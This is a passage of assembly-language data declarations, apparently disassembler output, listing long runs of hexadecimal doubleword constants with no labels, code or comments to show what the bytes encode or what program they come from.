		dd 6144B677h, 112AD821h, 80805C6Eh, 0F35A3D8Dh,	0DCE00A8h
		dd 0BC098A6Dh, 0CA005923h, 0AFB1AAFh, 449015Bh,	0E7E2EC4Ch
		dd 6B3C80C1h, 0D001DE8h, 753F07D7h, 0B6BCBA35h,	1B4C897Ch
		dd 1D0070F9h, 490F4B62h, 7D13008Dh, 64CC16ACh, 0B8024DF5h
		dd 7231A50Bh, 0A0C8F8FDh, 13914ED4h, 0CC2B0E40h, 90B5275Ch
		dd 3F963BD0h, 408F2843h, 12D286D8h, 0A1E830FCh,	40F9ACEDh
		dd 28D892E7h, 87B111Eh,	915D6ACBh, 0B811C320h, 7C8A6B48h
		dd 46BCE800h, 320C075Bh, 9D4C23Ah, 0BAB9BA40h, 3B34C250h
		dd 411FB990h, 49968834h, 3EC808A3h, 7002F811h, 0D4E5524Ah
		dd 45D882DDh, 0B880295Bh, 0EFEDC5B3h, 16E83806h, 4ACCC17h
		dd 18445726h, 2A10A4E7h, 306940h, 1F4CB612h, 7D90C510h
		dd 1C50AF07h, 0BF347035h, 0C04CF8F1h, 0B99100DFh, 0AC71D19Fh
		dd 0BE02121Fh, 9B3856Eh, 18005F2Fh, 0B4F5524Bh,	44EC82B5h
		dd 532D22A7h, 0E4977CD2h, 0C1543968h, 5AD68202h, 33F54C9Dh
		dd 197C358h, 21CC09F9h,	6B7B248Ch, 0A481AC8Bh, 0FA1BD944h
		dd 4594A257h, 40001266h, 1F670920h, 3BFE6D07h, 0B101E551h
		dd 29306CC8h, 58829516h, 0D929B847h, 832D1F38h,	4C17AD8Fh
		dd 2EB09DB3h, 80AE0B0Eh, 0CBA54503h, 0B8A36A10h, 12E39190h
		dd 0B0858FFDh, 5643E9F4h, 0D1299501h, 0C3467296h, 0E00ABAECh
		dd 8011A4C6h, 50DD0B04h, 7C21EE65h, 0BE040FD9h,	0CD371003h
		dd 51A0243Dh, 0F8304380h, 8890FCFh, 803900F1h, 0FE24524h
		dd 0E1ADD3h, 9E386AEBh,	0DEC5CB2Eh, 5F35DB72h, 4809C198h
		dd 0D0DC0412h, 92472940h, 0BF4B4CB5h, 426AC8B0h, 44C21CC7h
		dd 9C449520h, 23008370h, 0FEBCB7C3h, 1FA27C5h, 0EE1FD24Ch
		dd 3CB3A31Dh, 3DEF0ABCh, 790E88ACh, 0AE358396h,	856B4D8h
		dd 30B0A158h, 50F248Bh,	7FCB1C4h, 67C00CBBh, 14341D88h
		dd 0E4022801h, 770C22EFh, 31AC0C10h, 89A8D400h,	0C026ADFFh
		dd 8168C833h, 6D409E64h, 0B9C552BAh, 653058CFh,	0CEC427E9h
		dd 0A881C0ACh, 10316034h, 57C009h, 5815847Eh, 1A9C8E0Ch
		dd 0A402A670h, 735CB52Ah, 2C92D754h, 4027CC84h,	470D0914h
		dd 8F6B06EEh, 0D80861BDh, 7ACA7920h, 8B79C0EDh,	0F7810689h
		dd 0D9569501h, 1982B3CBh, 41C67C5Dh, 10C8D1Ch, 0B744A8BCh
		dd 80E4E853h, 3739434h,	2DCE029h, 99F98439h, 74E01286h
		dd 0D7884F98h, 4BB888B5h, 0D04595h, 8EE94099h, 0CB007EECh
		dd 0D9F758D8h, 39EBDh, 0A211E8A6h, 0EEB42070h, 790FBA25h
		dd 0FB3D00FCh, 0E644DD91h, 62D07F03h, 21014E39h, 0F89789C8h
		dd 40038CD1h, 97A4216Eh, 88CC2B52h, 0A210E1B1h,	0F5009031h
		dd 32F3A6E4h, 2D8420h, 0BE7B0411h, 0D83E3528h, 0B2BDDA7Ah
		dd 0CA324090h, 2BB0950h, 0C446F466h, 0ACFD1D3Dh, 0B9624043h
		dd 24202A4Dh, 0F4EC16DCh, 495E4424h, 6A01B4A7h,	0CE99C381h
		dd 0E2808996h, 0C04C745Bh, 8ADBF8B5h, 0CB16A716h, 0B3C6A020h
		dd 40ACBC0Eh, 0C1789AB1h, 0DA403Bh, 201E5C7Ch, 16969105h
		dd 950EFCAh, 3C191B08h,	4899140Fh, 213C8C2Bh, 0FC5E90C4h
		dd 42149CF8h, 43047430h, 0BA743A78h, 5C8B7C0Bh,	712B40A0h
		dd 0E80002F2h, 22749ECFh, 2F1879EDh, 48139B05h,	93C699F0h
		dd 0E026421Eh, 50DCA542h, 11F0995Dh, 34512BEEh,	6C1D5300h
		dd 77010550h, 0CBA04B1h, 0C00F3F81h, 0C82ADDA4h, 44472605h
		dd 0A8D2E8h, 0D8DCF714h, 2FFEDC0h, 5D8A2C3Fh, 19E76010h
		dd 0AA03DD74h, 0BFF0912Bh, 52C880EEh, 0CA67405h, 0D5759B66h
		dd 428659A8h, 316E000Ch, 11404968h, 514C0BA5h, 0AC9134CCh
		dd 5929AFCDh, 0D5BA8D7Ch, 0DCF6F089h, 8BA4280Eh, 0D0248063h
		dd 0C4781Bh, 4799DFA6h,	1C58954Ah, 0CC723303h, 996B86C3h
		dd 60F0CEA0h, 8C160A01h, 2CC5D13h, 2C8FC409h, 941CCCC8h
		dd 88663644h, 700889Eh,	6DD825CFh, 0A027093Eh, 83BF089Ch
		dd 8F0CA8BDh, 798C20B7h, 374DA9Eh, 0C0F64D5Eh, 0A83A0DC5h
		dd 4E800D3h, 93F882E4h,	0B599B8C6h, 214CC8C6h, 889D21B0h
		dd 202843B0h, 7439F726h, 7B7E588h, 49C1BA21h, 11673099h
		dd 9446A509h, 0A1A0F059h, 1EFD2FE8h, 0CBB0202Ah, 650093E9h
		dd 1137C2A4h, 2A734F7Ch, 43883628h, 25492218h, 782F4D2Dh
		dd 0ECFC4689h, 0F759A50h, 0ED53B872h, 0F3A73CEEh, 0FF70245h
		dd 3811D843h, 27263144h, 4E540898h, 5F717005h, 150528FDh
		dd 0C1A16992h, 0CCE207Ch, 74444012h, 0CF11C98h,	6CEEBF79h
		dd 0A90B6277h, 0ADA575h, 0D7F12617h, 0C2400CBh,	84884B33h
		dd 0D05E9044h, 0C700E4A6h, 27974AD5h, 0F6015878h, 2AA0B9EBh
		dd 30307983h, 61767Bh, 0C2EC86B7h, 76527525h, 482CD4FEh
		dd 99A77898h, 8A3F9E6Ch, 41B516BCh, 2780BCFDh, 0E37E8996h
		dd 9FD9450Bh, 0F9D09848h, 4038BF66h, 7E00A1EEh,	1A020321h
		dd 0EC541Bh, 0EABB1CC0h, 84B96950h, 2E2C7248h, 0E7701031h
		dd 2F6B09ABh, 0ECA2C189h, 57D1BEh, 9FCADDFCh, 0BA37054Eh
		dd 8B727EFDh, 3B2F129Ch, 6864F0F2h, 46DB3221h, 40E49C60h
		dd 0D98D1918h, 1CFE0100h, 590CD623h, 916B01E1h,	0F7A7C75Ah
		dd 8C5034AFh, 532D98A8h, 84AC9491h, 0B464B884h,	10D614DDh
		dd 2F044226h, 0DC2AE001h, 8F7F480h, 11FD0099h, 0B7A081A7h
		dd 0F24C19E8h, 0B0C12C41h, 28FCA492h, 1880EC80h, 0BF046F40h
		dd 21AC2AEDh, 0E86EA9C0h, 2D9C2626h, 0C8DD47C8h, 28261344h
		dd 0D986FA17h, 0D349BC44h, 5E80A213h, 0B2E0B027h, 17C416F9h
		dd 0C28953h, 88751481h,	0A76358Ah, 94DA3Dh, 159AF817h
		dd 0CDB305h, 0E9472071h, 4B98A267h, 2B0DA000h, 46FDE330h
		dd 2825FA95h, 43CC34FBh, 3EA0111Dh, 6D11DC58h, 3AE93AD0h
		dd 183EC0h, 0A6F12A5Eh,	30834F4h, 0A86A6174h, 0C4B824A0h
		dd 0AF008BC5h, 3D905C4Ch, 4D9ED509h, 42791C19h,	0B54D2293h
		dd 8DC82090h, 0E5005378h, 0BF9A90B2h, 50D7EEB5h, 5E54F849h
		dd 5C3C0EDAh, 229D9602h, 8821A480h, 75260835h, 7A60105Eh
		dd 2C54A16Ch, 64D89344h, 214490Eh, 20F08E68h, 27075890h
		dd 0B8000C90h, 0C39FA61Dh, 589BAFA7h, 5F021C71h, 0DB81E449h
		dd 0DB61840h, 1802C330h, 3EADF5BAh, 420FC508h, 940973E6h
		dd 0B235FF80h, 804B43A6h, 1A60B880h, 512E31F8h,	523AC9F1h
		dd 66199C8Ch, 9B88B508h, 0D7E431h, 0A282EB42h, 0BAF68C9Fh
		dd 0FA05D974h, 551FDAA6h, 0CDF1D804h, 0BC2CD310h, 61496400h
		dd 20E2D7F9h, 17FE1568h, 0EF134670h, 0C44288FDh, 24CF8345h
		dd 0CC18C4DDh, 4EBF0DD8h, 0E51E0C8h, 0BA7D780Eh, 0B610C324h
		dd 1E470260h, 40963BD8h, 40A0BBh, 7E67828Fh, 57080A34h
		dd 0F6CAC8A3h, 0B85E9523h, 987FB4h, 12729FBAh, 682CC5C3h
		dd 84B89D17h, 6CA04CB8h
		dd 3F249BA8h, 5510BC72h, 0B88909C8h, 0D8454Ah, 2997D612h
		dd 0C05BD257h, 0A2C85602h, 8840C1CDh, 0B0DBCEh,	20A4E555h
		dd 811CFA39h, 0D6000974h, 2F5F9F47h, 0A11D0572h, 0FA15E8BBh
		dd 0C721D500h, 0A1400B1Bh, 0F10CC5A4h, 5A20F40h, 76CAE335h
		dd 41E49185h, 0F81800CFh, 0ACAC99CCh, 0B8A404B5h, 0B06CCC90h
		dd 0CF540C84h, 0C1682907h, 42EB4586h, 753168F0h, 0CBF91810h
		dd 118A34A8h, 0A1A42Ch,	249C170Bh, 537CD14h, 11CF644h
		dd 4D645750h, 9C21ACBAh, 918ABE0h, 6EF2DD06h, 3200F8E4h
		dd 65FA4F7Eh, 1298A037h, 489C3A8h, 13F88600h, 9472A8A1h
		dd 32369816h, 53E0886Ch, 0B17335CDh, 906EA400h,	5CDC27C8h
		dd 0FC98588Ah, 6C4A8670h, 0FEC020A9h, 0D5BB6B9Fh, 85E51509h
		dd 51BCFC92h, 827112ABh, 1C72594h, 222B4103h, 0A0F28ED0h
		dd 238EC4EAh, 0A87C0Ch,	0D9ACDC0Bh, 0EE29117Ah,	7291A509h
		dd 1D68D95Ch, 4DB8458Ah, 88C8B8BFh, 4EDE413Bh, 0D56420A4h
		dd 0E045E4A6h, 39F0083Eh, 0BA35F940h, 0A470B1D7h, 0D17C1898h
		dd 90B7502Dh, 2520E990h, 3C4C354Ch, 3DA5541Eh, 0C0A2C00h
		dd 1394DD26h, 44375F24h, 2292F850h, 45262259h, 0F4A8397Dh
		dd 0E8186994h, 74FE9E10h, 292B3B00h, 269C8FBBh,	93181CA8h
		dd 57EB80C4h, 722A777Fh, 21D89D4Dh, 5E59915Fh, 265D420h
		dd 66DA5C63h, 33E3A303h, 62D8B795h, 16025E21h, 0E92CA95Dh
		dd 0F628413Dh, 576A3810h, 0AD46E512h, 0E86334B5h, 0DDBF0078h
		dd 78D5C95h, 0B27EB168h, 0BB09D112h, 0BDE97C04h, 2E0C3025h
		dd 0ACA6C84Dh, 32E0197Ch, 7C890496h, 941057D5h,	0B3035558h
		dd 0ACC9F772h, 0F519993h, 171B2060h, 0A0B5F048h, 0C44BBA20h
		dd 194D7422h, 0C4209BCh, 0A42E19A1h, 801F9C19h,	0BB468700h
		dd 0EF1A882Dh, 0B8E7038h, 197F5A40h, 0D800CC57h, 40290AF6h
		dd 2F02AB72h, 1851C371h, 852AE44h, 0A180C634h, 0E6C04484h
		dd 70109CAFh, 0BB4EBA2Fh, 78048Ah, 0D6EA6D8Eh, 0C59B51EFh
		dd 0E716B900h, 43EE2FADh, 52C31CE0h, 0EA2A0272h, 9B7D5727h
		dd 4B51EB18h, 2334A649h, 70F1274Dh, 18AD2F44h, 9051E7C3h
		dd 3D59B8C0h, 0D871CE0Eh, 0D163C04Bh, 181CFA89h, 0E89ECBACh
		dd 5982D69Ch, 0B7A00074h, 2142A4CEh, 1F12E600h,	7774FE5Ah
		dd 0C7B00DDh, 2E98078Bh, 0B496D6F4h, 82FD1D42h,	20C4C18Ch
		dd 0FE92DBB8h, 12B59C39h, 743026A1h, 3BB77642h,	4C00BD68h
		dd 9A856CD7h, 8A01372Ch, 0C1A756E8h, 50208FAFh,	384486EDh
		dd 0A3C25BBAh, 2B71842Ch, 0FDF5E8A1h, 105F3F12h, 32E6D4h
		dd 0ED6BF138h, 0FF9E77E8h, 17CE49Dh, 0BF24488Eh, 80549F7Dh
		dd 4B8BE1CAh, 9631858h,	266AE064h, 7140947Eh, 0E5B0C73h
		dd 8ADA8FD9h, 65D0FA60h, 37174BB6h, 2163A22h, 900088Ah
		dd 48725FA4h, 10B5EF20h, 78290h, 2EA05CBh, 3B6D60F0h, 9852E42Dh
		dd 0EDAD8D0h, 7BFCB073h, 0EDA7A620h, 1F0EF979h,	644D16CFh
		dd 6CC107E4h, 5E089360h, 9A4014B1h, 0E5B078Ah, 6289926Dh
		dd 0C0EC0912h, 0F626F0C0h, 0C868A4B9h, 0A9C8D510h, 0F9CCC442h
		dd 0B9148568h, 9394B890h, 0A525FC04h, 3125D810h, 11C19038h
		dd 0A54E7503h, 80D5AE2Ch, 0F9EDADDh, 0C47A4B2Dh, 48302356h
		dd 0D066AEC5h, 12E14398h, 77BE4401h, 0BC66219Ch, 3FD26007h
		dd 0D694961Eh, 72FFCF01h, 0A090B9C3h, 18212ED0h, 32A55300h
		dd 36D2A8h, 60EEBE9Eh, 72E1DF87h, 0F47E88A2h, 0CC6E9C60h
		dd 0FF2602E3h, 0A36F9F52h, 1069E4E1h, 0BAA1E5BAh, 54DD5434h
		dd 94340FBh, 19987548h,	0C3389E8Ah, 401AE810h, 460D0216h
		dd 0D2087C44h, 5B00D8E6h, 8AFE358Bh, 807D6A7Ch,	0E3457705h
		dd 0B0C5B472h, 574E08A2h, 0A024ACBCh, 12F084h, 82215E07h
		dd 0DD163563h, 0E6576917h, 5A9B804h, 12102521h,	4080F949h
		dd 823466FAh, 0A816F200h, 0B6680B13h, 2534B847h, 70769D49h
		dd 3FA1480h, 0A334AFBh,	27CF43D6h, 268693F4h, 0A34B1078h
		dd 0B4CC9489h, 0ADFC0014h, 0E104629Ch, 0C0582AFh, 1C36C218h
		dd 0B1283CECh, 0C13A0018h, 0F0423363h, 2602354Ah, 9C93A6A7h
		dd 16C15DADh, 10643808h, 0A59D0605h, 0CD00A078h, 0F10E0FBFh
		dd 2DB3A2h, 4846984Ah, 0F795A6A8h, 0D4214D00h, 7ED6EE0Ch
		dd 0AA930194h, 0DF85B7A5h, 5ED7D844h, 0B38CC700h, 82925AE6h
		dd 0B1790093h, 0E26242CFh, 0A500292Dh, 0AA5652E3h, 768820Dh
		dd 0DC26E81Dh, 0AEBE30F2h, 7800CB95h, 458918A6h, 315B5F21h
		dd 4AA0297Bh, 2D088716h, 0C4C0BFEEh, 74DCB37h, 83B5F9A5h
		dd 3254F0DEh, 0D3003E49h, 0DD9CAE4Ah, 0CC98E40h, 1FA6D156h
		dd 0E3064941h, 315162B5h, 0CF2830D0h, 44BF7B18h, 94EFCD00h
		dd 934A5A77h, 117E005Ch, 0A61CDAB0h, 0C8C3E78Bh, 327C0C8h
		dd 8060999h, 70103198h,	0AE088D48h, 2980E754h, 32CCA9D1h
		dd 10D56FB9h, 6C54C880h, 253E5D63h, 744B80C1h, 420B8534h
		dd 0B56D007Dh, 13DD6CA9h, 576440D7h, 2220BFC0h,	0CF0CF4D2h
		dd 8924C029h, 0CAFC99h,	312AA962h, 5BEAA65Eh, 4225C208h
		dd 62E18764h, 7DD7509Bh, 501D242Ch, 5F0A359Ah, 1C06245Ch
		dd 31D1A4h, 56FB15D4h, 0AA92F06Eh, 8F349A01h, 5367D212h
		dd 0BCE042E9h, 0A5510063h, 0F92C1625h, 0AC02E3B2h, 0D0EFB0C7h
		dd 0D926C089h, 42F9C2DFh, 8C909C1Ch, 0A600EE31h, 25BAAEA1h
		dd 6082DD18h, 15EC2932h, 0C57C5D50h, 41C0DBE8h,	9CAFA3Ch
		dd 0EEB01249h, 28145FDFh, 18574490h, 38CC5128h,	0F91D4A22h
		dd 4C52FCh, 0E340908Fh,	0C7EB7289h, 48AB9C18h, 44F8C850h
		dd 5242B14Dh, 0BFC4E53Ch, 61801674h, 1A1926ACh,	140F03F3h
		dd 80872A4Fh, 8B90FC84h, 0F40A73F6h, 0A8971DA7h, 0BA06CC68h
		dd 71F0C78Ch, 428CA6DEh, 695F07A4h, 40EFC2EBh, 201563E8h
		dd 0EE4609B2h, 0A58AAB37h, 7F93EEAh, 3538336Ah,	412A96D2h
		dd 85C3648h, 91B6CFA9h,	66CD053Eh, 0B85899EEh, 0C97F5B68h
		dd 90104AD1h, 5502CBBFh, 0A4DB86C8h, 0DABFC13Bh, 28DC8441h
		dd 3AAB4210h, 11D1B931h, 58E821ECh, 77183B3Ch, 76862200h
		dd 0C2FAA689h, 9CACE35Bh, 193A4861h, 0D122D252h, 215CA1A7h
		dd 91803370h, 0D228D832h, 0C4A420A6h, 34E8DD22h, 8C1A79ABh
		dd 0CD887114h, 8007F142h, 0BDC10CABh, 8500B6E4h, 967CEA17h
		dd 264EC89h, 9A51BF8Fh,	9848779Bh, 63897112h, 87FF5510h
		dd 86EECD0Eh, 396CE0B8h, 542E366Fh, 0F23054A1h,	901C9847h
		dd 0A028A198h, 2C6461D2h, 1C88CC0Ch, 0F46952A9h, 0C020527Dh
		dd 71501822h, 68001FE9h, 91AD5428h, 31E44E4Fh, 1AA88A41h
		dd 8C0805D0h, 0F0BF9CD7h, 80DBB449h, 85B15201h,	2F0BB5F4h
		dd 26494C8Ch, 941EA261h, 7C032CFBh, 144A41h, 0A55DEE19h
		dd 98CD348Dh, 4FB82400h, 0C09095FFh, 0C4737021h, 8C51A624h
		dd 81C728D8h, 0E9D1A9AAh, 0F09E4DF1h, 0A308E159h, 4851475Eh
		dd 98F26289h, 185B9190h, 8183049h, 33A4831h, 0A7D2148Ch
		dd 5A42868Ch, 0E60B0031h, 62A5C2C6h, 691EF650h,	0D9011E52h
		dd 8C47CBD2h, 7F0AC0h, 0E5438B7Dh, 0C845C708h, 8399023Bh
		dd 719A841Fh, 0E320074Bh, 4D82FE4Ch, 0BE63F130h, 5CC40039h
		dd 0AE1C144Fh, 1574B7h,	9F687779h, 4CEBA353h, 7480222h
		dd 74FE492Bh, 8E1D290h,	5DBAC0D7h, 46CC3083h, 146BC951h
		dd 4AB35000h, 3B950749h, 8E0F0081h, 42D10C99h, 0FF035DA9h
		dd 0CC2A747Eh
		dd 0BB39004Ch, 0DC21B1A7h, 0E8FE7F57h, 19D90939h, 0E3903A18h
		dd 0A488580Ch, 5DC9CEF6h, 25647621h, 0E9B8201Eh, 92F18400h
		dd 6D755591h, 72530099h, 9A126807h, 6630EBABh, 2E7F7889h
		dd 0A948005Fh, 0E060D302h, 0B90117A5h, 0E88BD45Ah, 7FC08A3h
		dd 804122FEh, 496E9A18h, 0C08266B9h, 17E63749h,	871D01E8h
		dd 50394FE2h, 5B446F18h, 9B66309Fh, 40717B19h, 0AB5E9660h
		dd 78637C3h, 3236C174h,	1AA2A15Dh, 4428F80Ah, 698E6630h
		dd 0ECF349h, 0B9B642D3h, 0D43424A4h, 3D86C714h,	0A55A01FFh
		dd 8B7C6A44h, 3879C9D0h, 0B885E107h, 9AD6C01h, 2C0CF2D8h
		dd 62A8C51h, 0DF00A4E4h, 0FC3B02CDh, 0EEB48464h, 286A63BBh
		dd 31008369h, 60B67522h, 944C3E9h, 9ADCFEE5h, 0DE072E03h
		dd 7E706910h, 18CD084h,	4E659BDDh, 0C0309C54h, 78753Ch
		dd 0C48FD3F9h, 0F35D84C0h, 2D1C197Bh, 0D1D23A66h, 9A7E7801h
		dd 2047AB68h, 7C458038h, 14213FCFh, 0C0413600h,	49E1AA46h
		dd 0B7698A6h, 7F3C87E4h, 13CDD481h, 84D19169h, 2301023Ch
		dd 200C5540h, 0B9CCE0B8h, 73A06748h, 299FA744h,	294018Ch
		dd 2D3631D8h, 0D141C840h, 0CC034484h, 76394460h, 10E4FD6h
		dd 342B9E4Ch, 415759C9h, 0B80BE8h, 7AE0CDDh, 34F33BB6h
		dd 0A12D80F4h, 4D00D188h, 0AA73FE1Dh, 0F53F38h,	7DD29E5Fh
		dd 5BAE250Ch, 0FEF2570Ah, 1942E485h, 9E4323E5h,	87C48A83h
		dd 0B4B9FC98h, 31C21F15h, 60E2258h, 2D727743h, 33ED070h
		dd 8666083Bh, 3F8900E3h, 69ECE86Ch, 83FD27Eh, 60ABA8FBh
		dd 416E9B18h, 95BC8F1h,	769E42F3h, 5237DC02h, 0B4126411h
		dd 4B7CC83h, 5C996922h,	673EBD34h, 0F69EC300h, 1B408715h
		dd 4CCC4336h, 0DC8F960h, 0F84F0FC9h, 0DE6CD60Ch, 34A93B1Ch
		dd 6D9A107Bh, 0A0BC914Eh, 7420068h, 8F92AF2Eh, 1700D340h
		dd 10A9E4Fh, 6D5C762h, 3B69DC8Ch, 0F400E1A7h, 6F83BBFBh
		dd 231C09Dh, 0FE9E0AC9h, 0A0A0E8B8h, 53A1436Ch,	0E590D800h
		dd 0AEC73C0Bh, 69640056h, 5D2A46F6h, 660FC9D2h,	809FA4BAh
		dd 6E9D4862h, 0A97400F3h, 98F86A65h, 3E1CF7CCh,	82FCEAB9h
		dd 6372648Eh, 0A683C068h, 0C64100A5h, 94435653h, 0D1C09F66h
		dd 4558C38Dh, 50750067h, 30E039A4h, 90002D5h, 77996411h
		dd 60A5D647h, 0F585B1ECh, 0A900C836h, 440FBAD0h, 249B7348h
		dd 62785A68h, 6E24E50Bh, 42CC1091h, 9BC2C454h, 67B49083h
		dd 0CD76887Eh, 0A3170D00h, 822B6AEDh, 7701308h,	64A005C0h
		dd 720C0075h, 0AF499805h, 0C3DCAC51h, 45E427BCh, 8C05085Fh
		dd 1D980482h, 86E069A0h, 85800A13h, 9F3D0B3Eh, 0A51F0CE6h
		dd 7C03B9EAh, 74360186h, 0CC4AFD73h, 0E410204Fh, 894B6388h
		dd 1083266h, 818EACEFh,	90ECC2A2h, 818D6038h, 0E11CA60Ch
		dd 7E37DA02h, 81CE0D70h, 57B8C808h, 45008463h, 0EDA4D3F6h
		dd 3007CA9h, 15593791h,	0F0DBE30h, 2DDC45ADh, 0DE748140h
		dd 6700FE26h, 0EE64082Fh, 0E1CD0Dh, 0A9B8E977h,	74E45654h
		dd 0D2C3FE00h, 0CC2F049Eh, 2169CE50h, 1CAE3E80h, 0AB007842h
		dd 0E07BC03Dh, 0E4DEF7C9h, 0BCF44CE4h, 9DEC4929h, 0DA242107h
		dd 3A385200h, 1EBA0BC9h, 0C327A6FAh, 6457DA43h,	0DD0C0385h
		dd 3900F7A4h, 0EE798420h, 1C9B2F2Ch, 463B3D2h, 0C7AF86D9h
		dd 2E1173A9h, 669744F8h, 0FA718560h, 0D939B9h, 65DABEBAh
		dd 0E58E45F5h, 20238C30h, 308E454h, 11642CD6h, 0A9BA3104h
		dd 23A0F041h, 45FF1114h, 0C0F22B04h, 65141E8Ch,	5A9F0034h
		dd 439B0117h, 6CBB1C9Dh, 0CB59433Dh, 5072F230h,	67034F12h
		dd 2A4B6032h, 7C821138h, 38B16C74h, 0EB1D2340h,	2BF6003Dh
		dd 0BEF82664h, 460CD40Bh, 2AF2CC10h, 87A05E3h, 815345C9h
		dd 30904384h, 67303DECh, 0F979498Ah, 0F0F700EDh, 4C707C7Ah
		dd 66902C7Bh, 4445301h,	1FF60502h, 78584C22h, 0BC00F122h
		dd 144ED53Ch, 2A083B4h,	8CD274F4h, 0A8669F24h, 9DC0E703h
		dd 0B0F01F67h, 0B5936Eh, 6C58DC4Ch, 0C36F5A32h,	22DD4700h
		dd 6BC01864h, 34C2444h,	71B74078h, 2831ABDAh, 0F2A528CBh
		dd 567E8180h, 58E63CF1h, 63B01200h, 0F29F9904h,	0D8C22EFh
		dd 7C0440B0h, 4B699B50h, 840E408Ch, 43384900h, 3D4845DEh
		dd 5E67299Bh, 8711B8h, 74F2F6D9h, 7C103970h, 0CC770C5Dh
		dd 85297E21h, 3B6F688h,	0E0FA89F5h, 0E990CF0Ah,	6225C81Eh
		dd 0D5900183h, 618048CDh, 8C60A8DEh, 1A03C0A4h,	2D1D13EFh
		dd 2EA0A6E2h, 22A07C4Fh, 0FDC2C18h, 0FFC903D9h,	8194DB6Bh
		dd 29CBF254h, 8C380700h, 0C30392Dh, 1BB43B2h, 89E10D4h
		dd 28A3C1F1h, 54E2294h,	3C471F8Eh, 2211805Ah, 0BA00BD63h
		dd 0E9D2B09Ah, 9132C625h, 0EAA40800h, 0FA558B00h, 614DBED9h
		dd 0DB71E09Bh, 0C92C4863h, 0BE6E5312h, 2FD0EB00h, 2B12818h
		dd 0D8C6BDFDh, 0C8827FB6h, 76207E6Ch, 60EC0108h, 0C9DFA0B1h
		dd 764A902h, 34CD2B78h,	0E8226ECh, 1C3FFBDAh, 0B1C55A00h
		dd 0A301197Ch, 0D15E4A89h, 0A980EBA4h, 5D6C1E29h, 2A095BF1h
		dd 889E442Bh, 7080FCA6h, 0B922EDBEh, 0CD8D0094h, 71C3E0F2h
		dd 8200D489h, 6F7DF9C9h, 5C210C5Dh, 0A1315467h,	50C6F2B1h
		dd 0F767FFCh, 8C0DA00Dh, 0C2D378ABh, 0C214828Dh, 66182D85h
		dd 0FECF008Ch, 7747FFF2h, 4DC70033h, 3FC6BCB2h,	695C6354h
		dd 44267737h, 2030D5FDh, 484FDC56h, 0B3828C08h,	0E444698Eh
		dd 0EE3EBC03h, 0D055E2DFh, 2289235h, 2417CC8Ch,	10E9E332h
		dd 10CC04B3h, 7A9C240Ch, 71C600A1h, 8CDB4218h, 82F26100h
		dd 86F6347Fh, 0A0ADF464h, 1465CCDh, 0FDE32AAAh,	80E9A5F2h
		dd 0C61071D1h, 30E7429Bh, 690231Ah, 3C300748h, 0B3A6A181h
		dd 0FD9F0443h, 819E5CA8h, 0F690CD08h, 5EDDC848h, 344C3B1Eh
		dd 0E7FF450Eh, 40CF4443h, 7E914684h, 0E1B22406h, 0BE7D0438h
		dd 66A88265h, 5F7A085Ah, 7A68A301h, 4BC84952h, 0FDDA424h
		dd 9CB78CF5h, 564ECCC4h, 0C1370Fh, 0DC5C5386h, 0BB1B3998h
		dd 65B9D483h, 68109E01h, 0F208954Ah, 9A48DC3h, 0CBFAC022h
		dd 0EA005EECh, 0B0047548h, 317C0DC5h, 0C6C844DFh, 32A8604Ah
		dd 889E4000h, 0A9C2F3CBh, 9B49C88Ch, 39846E80h,	0A48B3Dh
		dd 9E560145h, 0FB35AE2Ah, 40661B1Ah, 47848429h,	0C5E28F40h
		dd 0DD07C74Eh, 3E39495Dh, 817744E3h, 0F424C001h, 44A498E8h
		dd 0D8A4A486h, 5AB6D700h, 0A6653CBh, 0C861828Ah, 69D811E4h
		dd 0CE4C6C72h, 80CFD11Eh, 796B43BAh, 37248019h,	7B19B4D5h
		dd 0A039CDF0h, 0FA6D100h, 0CF7116F1h, 41956900h, 763CFA90h
		dd 7CA35C87h, 13E36811h, 0B4284C64h, 85A80E6Dh,	0F4A06A3Ah
		dd 0CC5DCB04h, 9F29A060h, 4CF0FDEh, 7780642h, 7E30883Ah
		dd 7741A506h, 91C96466h, 46A88004h, 6099AE0Fh, 0B9C0AB61h
		dd 0E070A108h, 75D28888h, 0F6FD062Ch, 949E2401h, 1C64294Dh
		dd 0D5AF4566h, 0E631808Dh, 4A2D8147h, 0CD4E03EBh, 0E0F6D392h
		dd 7E7C48F0h, 0A820B89Bh, 1879BA20h, 99EDA576h,	770FFE81h
		dd 81B08345h, 0ACBC067h, 227A7C32h, 471C44CDh, 3844B4EBh
		dd 40A205D7h, 950A4C0Ah, 47F844F0h, 3CE06ECAh, 38AC2620h
		dd 33804073h, 0BEF9DB09h, 0E1001116h, 6665C727h, 0E2AB70BCh
		dd 36EAA6h, 0E2420339h,	9DBEFE8Ch, 21B4F001h, 88D70EE4h
		dd 8C694850h, 6AEC0BB1h, 0DC8D1D12h, 0C0F44019h, 0E4A9A79h
		dd 5D8EF420h, 0DEF473h
		dd 6467EA99h, 0CF902B05h, 0D9A69505h, 8453A39h,	0D08141B9h
		dd 0CB11F606h, 8F618C4Dh, 3EADA08h, 0CE84F371h,	0AD0AFDFh
		dd 6E0222DBh, 88BFDE7Dh, 0EC7269h, 61789D7Ch, 0C1AF02CBh
		dd 0B81F9502h, 0C4058C0Eh, 99F27C68h, 0A57505E8h, 0C286C7E7h
		dd 0F466FFF3h, 1B1D1CA0h, 72EBA212h, 0E6DD7C01h, 783347FBh
		dd 67799701h, 43919E68h, 1E077D0h, 4924E74h, 0CA00E3F8h
		dd 0DDD39F7h, 333E0CDh,	40C863F8h, 2A3442Dh, 40F7A2h, 0C60539B7h
		dd 42A80D62h, 6AC08043h, 0A1AB9080h, 0BB6C3A57h, 0C9EFA418h
		dd 0B200406Dh, 82EDFF3h, 1380224Bh, 23689BAEh, 0F7909FF8h
		dd 0FD0E3D99h, 4E9EE5A3h, 440D826h, 0E884F5E7h,	101E9A70h
		dd 5C032CC4h, 0B545DEC7h, 2CCDB030h, 6324386Ch,	1BDDA389h
		dd 8188DB85h, 27E9CE8h,	0CD40E1DCh, 316C8830h, 2A783346h
		dd 16720C16h, 58EDC224h, 6FB4D854h, 9001DEF2h, 2C7247C3h
		dd 1C311463h, 24F176C5h, 7CE2E4CFh, 0C20A425h, 899D3F57h
		dd 37E99C00h, 3DB03C05h, 0A14C065h, 6420A019h, 4E7FC8A0h
		dd 0FE34B101h, 427160A9h, 3D2FECh, 0E81A358Fh, 0A58DE145h
		dd 0F1849650h, 0CCBCA384h, 0FAC20C40h, 23006F61h, 0EF07CD9Eh
		dd 9CC0FEA3h, 0ABD881CCh, 72E4F50Ah, 452268h, 144B7A5Ah
		dd 443B3169h, 5941F094h, 0C3CC22B4h, 40070945h,	80FDA62Ch
		dd 3A67F1B2h, 8C8D517Ah, 0D8261C28h, 3D15050h, 7A979548h
